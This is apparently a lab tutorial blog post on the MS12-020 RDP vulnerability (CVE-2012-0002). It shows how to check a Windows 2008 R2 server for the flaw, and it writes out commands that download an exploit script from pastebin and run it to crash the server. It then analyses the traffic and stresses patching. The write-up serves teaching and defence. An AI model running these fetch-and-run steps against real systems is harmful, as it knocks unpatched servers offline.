In March 2012 a security breach was released regarding a vulnerability in the Remote Desktop Protocol (RDP). The vulnerability related to almost all Windows platforms, and was later released under CVE-2012-0002 and MS12-020
In short, the vulnerability enables an attacker to send a sequence of specially crafted RDP packets, which can result in remote code execution. It can however only be done if remote desktop is enabled on the system and Network Level Authentication (NLA) disabled. There is a lot of technical details on the subject – Which, to be honest, I don’t understand to the full extent of.
The story goes that the Security researcher Luigi Auriemma found and reported this vulnerability to Zero Day Initiative (ZDI), who then reported it to Microsoft. But before Microsoft ever released a patch for the vulnerability, Chinese hackers had somehow gotten hold of Auriemmas code, and released their proof-of-concept (PoC), showing the vulnerability to the world. Luigi Auriemmas original PoC, which is as simple as sending a specially crafted packet via netcat, can be found here.
An improved version of the Chinese PoC was later released as a Python script, which is enables an attacker to make the target machine crash with a Blue Screen of Death (BSOD). All it takes is the ability to run the script and the IP address of the target machine.
The purpose of this tutorial it purely educational and serves to prove the importance of always keeping your systems up to date with the latest security patches. In this scenario we have an Windows 2008 R2 server running on the IP address 192.168.1.17 and an attacking computer running Kali Linux on the IP address 192.168.1.20
First of all let’s check if Windows Server is acutely vulnerable. From Microsoft we know that remote Desktop must be enabled without NLA, and the patch which fixes this vulnerability for Server 2008 R2, is called KB2621440.
1. On the Windows server right click Computer and click Properties
2. Click Remote Settings
3. Check that the radio button Allow Connections from computers running any version of Remote Desktop (Less Secure) is selected.
Now let’s check that the KB2621440 patch is not already installed.
4. Open up a command prompt and type wmic qfe | find “KB2621440”
No information is given which means that the patch isn’t installed on the server. So all the criterias for the vulnerability is met. Now let’s go to the attackers point of view.
5. On the Kali Linux machine open a terminal at type wget -O RDPkill.py http://pastebin.com/raw.php?i=G99npvDy
6. Type chmod 777 RDPkill.py
What we just did, was to download the code for the python script from pastebin, and placed it in a file called RDPkill.py. Then we made the script executable by setting the permissions for the file with chmod. All that is left now is to point the script to the IP address of the Windows server and fire away.
7. Type python RDPkill.py 192.168.1.17
Game over! The script sends a few packets towards the unpatched server, and down she goes.
Let’s try to have a closer look at what happened. This is somewhat out of my league, but I gave it a try anyway. Please feel free to correct me if I’m way off here. This is the description giving by Luigi Auriemma:
There is an use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c of the provided proof-of-concept) when set to a value minor/equal than 5.
The problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx on Windows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalid memory pointer.
The script itself contains a small amount of python. Mostly it’s just the payload of the packets that is being sent. I’m not sure, but a wild guess would be that that “Fuck you Chelios” packet is the one which delivers the final dead punch to the server. I could use python and ndisasm to disassemble the payload of the packet like so:
But really I’m not that good at reading machine code that I understand what this actually does. Instead, let’s have a look at the traffic in Wireshark. Filtering away all other traffic then the one from the attacking computer to the server and vice versa.
I believe that this is the so called “Fuck you Chelios” packet, and the 0x2c offset in the maxChannelIds field, as in Luigi Auriemmas description.
Following that, we have a bunch of T.125 packets from the server to the attacker containing the field rt-no-such-user. Finally we have an RST,ACK packet from the server which indicate that the connection had been closed. This again fits with the description saying the problem happens during the disconnection of the user.
The information given in the BSOD, that the cause of the problem is in the termdd.sys file (which is a Remote Desktop Server Driver) is also valid. Again this matches the description which says that the problem is related to termdd!IcaBufferAlloc and termdd!IcaGetPreviousSdLink. With my knowledge this is as far as I get with this analyses.
Finally, installing the security update KB2621440 through Windows update closes this vulnerability. Thereby, hopefully, proving my point of always keeping your system up to date.